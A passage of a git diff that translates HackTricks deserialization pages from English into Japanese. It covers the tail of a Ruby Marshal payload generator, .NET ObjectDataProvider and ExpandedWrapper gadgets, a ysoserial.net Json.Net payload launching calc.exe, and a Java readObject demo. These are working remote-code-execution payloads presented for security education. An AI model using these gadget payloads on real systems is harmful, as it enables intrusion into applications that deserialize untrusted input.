-e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| - pipe.print payload - pipe.close_write - puts pipe.gets - puts +pipe.print payload +pipe.close_write +puts pipe.gets +puts end puts "Payload (hex):" @@ -874,17 +793,16 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` - -Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +他のRCEチェーンはRuby On Railsを悪用します:[https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index dc69b5749..d58381fbb 100644 --- a/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,80 +1,77 @@ -# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# 基本的な.NET逆シリアル化(ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget. +この記事は、**ObjectDataProviderガジェットを悪用してRCEを取得する方法**と、そのガジェットを使用して**SerializationライブラリであるJson.NetとxmlSerializerを悪用する方法**を理解するために捧げられています。 -## ObjectDataProvider Gadget +## ObjectDataProviderガジェット -From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use _**MethodParameters**_ to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters.\ -Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.** +ドキュメントによると:_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\ +はい、これは奇妙な説明ですので、このクラスが興味深いのは何を持っているか見てみましょう:このクラスは、**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数を呼び出すために**MethodNameを使用**できます。\ +したがって、任意の**オブジェクト**は、**逆シリアル化されながら**パラメータを持つ**関数**を**実行**します。 -### **How is this possible** +### **これが可能な理由** -The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_). +ObjectDataProviderは、**PresentationFramework.dll**(_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_)にある**System.Windows.Data**名前空間で定義および実装されています。 -Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** +[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味のあるクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。 ![](<../../.gitbook/assets/image (299).png>) -As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do: +`MethodName`が設定されると、`base.Refresh()`が呼び出されることがわかります。それが何をするか見てみましょう: ![](<../../.gitbook/assets/image (300).png>) -Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does: +では、`this.BeginQuery()`が何をするのか見てみましょう。`BeginQuery`は`ObjectDataProvider`によってオーバーライドされ、以下のようになります: ![](<../../.gitbook/assets/image (301).png>) -Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute: +コードの最後で`this.QueryWorke(null)`を呼び出していることに注意してください。これが実行するものを見てみましょう: ![](<../../.gitbook/assets/image (302) (1).png>) -Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**. - -If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code: +`QueryWorker`関数の完全なコードではありませんが、興味深い部分が表示されています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出していることがわかります。これは、**設定されたメソッドが呼び出される**行です。 +`MethodName`を設定するだけで実行されることを確認したい場合は、次のコードを実行できます: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { - class Program - { - static void Main(string[] args) - { - ObjectDataProvider myODP = new ObjectDataProvider(); - myODP.ObjectType = typeof(Process); - myODP.MethodParameters.Add("cmd.exe"); - myODP.MethodParameters.Add("/c calc.exe"); - myODP.MethodName = "Start"; - } - } +class Program +{ +static void Main(string[] args) +{ +ObjectDataProvider myODP = new ObjectDataProvider(); +myODP.ObjectType = typeof(Process); +myODP.MethodParameters.Add("cmd.exe"); +myODP.MethodParameters.Add("/c calc.exe"); +myODP.MethodName = "Start"; +} +} } ``` - -Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data` +注意してください。`System.Windows.Data`をロードするために、参照として_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を追加する必要があります。 ## ExpandedWrapper -Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_\*\* instance\*\* (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). +前の攻撃を使用すると、**オブジェクト**が_**ObjectDataProvider**_のインスタンスとして**デシリアライズされる**場合があります(たとえば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。その後、_ObjectDataProvider_インスタンスに**ラップされたオブジェクトの型に関する情報がない**場合があります(例えば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちらを参照してください](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)。 -This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ -This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. - -You can check this wrapper with the following code: +このクラスは、指定されたインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことができます。したがって、このクラスは、ソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ +これは、前述のようなケースに非常に便利です。なぜなら、\_ObjectDataProviderを\_ExpandedWrapperのインスタンスに**ラップ**し、このクラスを**デシリアライズ**すると、_MethodName_で指定された**関数**を実行する_ObjectDataProvider_オブジェクトが**作成**されるからです。 +次のコードでこのラッパーを確認できます: ```java using System.Windows.Data; using System.Diagnostics; @@ -82,29 +79,27 @@ using System.Data.Services.Internal; namespace ODPCustomSerialExample { - class Program - { - static void Main(string[] args) - { - ExpandedWrapper myExpWrap = new ExpandedWrapper(); - myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); - myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); - myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); - myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); - myExpWrap.ProjectedProperty0.MethodName = "Start"; - } - } +class Program +{ +static void Main(string[] args) +{ +ExpandedWrapper myExpWrap = new ExpandedWrapper(); +myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); +myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); +myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); +myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); +myExpWrap.ProjectedProperty0.MethodName = "Start"; +} +} } ``` - ## Json.Net -In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object. +[公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリを使用してJson.NETの強力なJSONシリアライザを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズできると記載されています。したがって、ObjectDataProviderガジェットをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。 -### Json.Net example - -First of all lets see an example on how to **serialize/deserialize** an object using this library: +### Json.Netの例 +まず、このライブラリを使用してオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう: ```java using System; using Newtonsoft.Json; @@ -113,60 +108,56 @@ using System.Collections.Generic; namespace DeserializationTests { - public class Account - { - public string Email { get; set; } - public bool Active { get; set; } - public DateTime CreatedDate { get; set; } - public IList Roles { get; set; } - } - class Program - { - static void Main(string[] args) - { - Account account = new Account - { - Email = "james@example.com", - Active = true, - CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), - Roles = new List - { - "User", - "Admin" - } - }; - //Serialize the object and print it - string json = JsonConvert.SerializeObject(account); - Console.WriteLine(json); - //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} - - //Deserialize it - Account desaccount = JsonConvert.DeserializeObject(json); - Console.WriteLine(desaccount.Email); - } - } +public class Account +{ +public string Email { get; set; } +public bool Active { get; set; } +public DateTime CreatedDate { get; set; } +public IList Roles { get; set; } +} +class Program +{ +static void Main(string[] args) +{ +Account account = new Account +{ +Email = "james@example.com", +Active = true, +CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), +Roles = new List +{ +"User", +"Admin" +} +}; +//Serialize the object and print it +string json = JsonConvert.SerializeObject(account); +Console.WriteLine(json); +//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} + +//Deserialize it +Account desaccount = JsonConvert.DeserializeObject(json); +Console.WriteLine(desaccount.Email); +} +} } ``` +### Json.Netの悪用 -### Abusing Json.Net - -Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit: - +[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、以下のエクスプロイトを作成しました: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { - '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', - 'MethodName':'Start', - 'MethodParameters':{ - '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', - '$values':['cmd', '/c calc.exe'] - }, - 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} +'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', +'MethodName':'Start', +'MethodParameters':{ +'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', +'$values':['cmd', '/c calc.exe'] +}, +'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` - -In this code you can **test the exploit**, just run it and you will see that a calc is executed: - +このコードでは、**エクスプロイトをテスト**することができます。実行すると、calcが実行されることがわかります。 ```java using System; using System.Text; @@ -174,44 +165,43 @@ using Newtonsoft.Json; namespace DeserializationTests { - class Program - { - static void Main(string[] args) - { - //Declare exploit - string userdata = @"{ - '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', - 'MethodName':'Start', - 'MethodParameters':{ - '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', - '$values':['cmd', '/c calc.exe'] - }, - 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} - }"; - //Exploit to base64 - string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); +class Program +{ +static void Main(string[] args) +{ +//Declare exploit +string userdata = @"{ +'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', +'MethodName':'Start', +'MethodParameters':{ +'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', +'$values':['cmd', '/c calc.exe'] +}, +'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} +}"; +//Exploit to base64 +string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); - //Get data from base64 - byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); - //Deserialize data - string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); - object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings - { - TypeNameHandling = TypeNameHandling.Auto - }); - } - } +//Get data from base64 +byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); +//Deserialize data +string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); +object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings +{ +TypeNameHandling = TypeNameHandling.Auto +}); +} +} } ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md index fbb5b47e5..b4af2cc3a 100644 --- a/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md +++ b/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md @@ -1,123 +1,117 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-In this POST it's going to be explained an example using java.io.Serializable. +このPOSTでは、java.io.Serializableを使用した例が説明されます。 # Serializable -The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html). - -Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\ -In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:** +Javaの`Serializable`インターフェース(`java.io.Serializable`)は、クラスが**シリアライズ**および**デシリアライズ**される必要がある場合に実装する必要があるマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)は、[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html)を使用して行われ、デシリアライズ(読み取り)は、[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)を使用して行われます。 +シリアライズ可能な**Personクラス**の例を見てみましょう。このクラスは、**readObject**関数を**上書き**しています。したがって、この**クラス**の**任意のオブジェクト**が**デシリアライズ**されると、この**関数**が**実行**されます。\ +この例では、PersonクラスのreadObject関数が、ペットのeat()関数とDogのeat()関数(何らかの理由で)を呼び出しています。Dogのeat()関数は**calc.exe**を呼び出します。**この計算機を実行するために、Personオブジェクトをシリアライズしてデシリアライズする方法を見てみましょう:** ```java import java.io.Serializable; import java.io.*; public class TestDeserialization { - interface Animal { - public void eat(); - } - //Class must implements Serializable to be serializable - public static class Cat implements Animal,Serializable { - @Override - public void eat() { - System.out.println("cat eat fish"); - } - } - //Class must implements Serializable to be serializable - public static class Dog implements Animal,Serializable { - @Override - public void eat() { - try { - Runtime.getRuntime().exec("calc"); - } catch (IOException e) { - e.printStackTrace(); - } - System.out.println("dog eat bone"); - } - } - //Class must implements Serializable to be serializable - public static class Person implements Serializable { - private Animal pet; - public Person(Animal pet){ - this.pet = pet; - } - //readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat() - private void readObject(java.io.ObjectInputStream stream) - throws IOException, ClassNotFoundException { - pet = (Animal) stream.readObject(); - pet.eat(); - } - } - public static void GeneratePayload(Object instance, String file) - throws Exception { - //Serialize the constructed payload and write it to the file - File f = new File(file); - ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); - out.writeObject(instance); - out.flush(); - out.close(); - } - public static void payloadTest(String file) throws Exception { - //Read the written payload and deserialize it - ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); - Object obj = in.readObject(); - System.out.println(obj); - in.close(); - } - public static void main(String[] args) throws Exception { - // Example to call Person with a Dog - Animal animal = new Dog(); - Person person = new Person(animal); - GeneratePayload(person,"test.ser"); - payloadTest("test.ser"); - // Example to call Person with a Cat - //Animal animal = new Cat(); - //Person person = new Person(animal); - //GeneratePayload(person,"test.ser"); - //payloadTest("test.ser"); - } +interface Animal { +public void eat(); +} +//Class must implements Serializable to be serializable +public static class Cat implements Animal,Serializable { +@Override +public void eat() { +System.out.println("cat eat fish"); +} +} +//Class must implements Serializable to be serializable +public static class Dog implements Animal,Serializable { +@Override +public void eat() { +try { +Runtime.getRuntime().exec("calc"); +} catch (IOException e) { +e.printStackTrace(); +} +System.out.println("dog eat bone"); +} +} +//Class must implements Serializable to be serializable +public static class Person implements Serializable { +private Animal pet; +public Person(Animal pet){ +this.pet = pet; +} +//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat() +private void readObject(java.io.ObjectInputStream stream) +throws IOException, ClassNotFoundException { +pet = (Animal) stream.readObject(); +pet.eat(); +} +} +public static void GeneratePayload(Object instance, String file) +throws Exception { +//Serialize the constructed payload and write it to the file +File f = new File(file); +ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); +out.writeObject(instance); +out.flush(); +out.close(); +} +public static void payloadTest(String file) throws Exception { +//Read the written payload and deserialize it +ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); +Object obj = in.readObject(); +System.out.println(obj); +in.close(); +} +public static void main(String[] args) throws Exception { +// Example to call Person with a Dog +Animal animal = new Dog(); +Person person = new Person(animal); +GeneratePayload(person,"test.ser"); +payloadTest("test.ser"); +// Example to call Person with a Cat +//Animal animal = new Cat(); +//Person person = new Person(animal); +//GeneratePayload(person,"test.ser"); +//payloadTest("test.ser"); +} } ``` +この例は[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)から取られました。 -This example was taken from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) +## 結論 -## Conclusion - -As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**. +この非常に基本的な例では、ここでの「脆弱性」は、**readObject**関数が**他の脆弱な関数を呼び出している**ために発生しています。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- 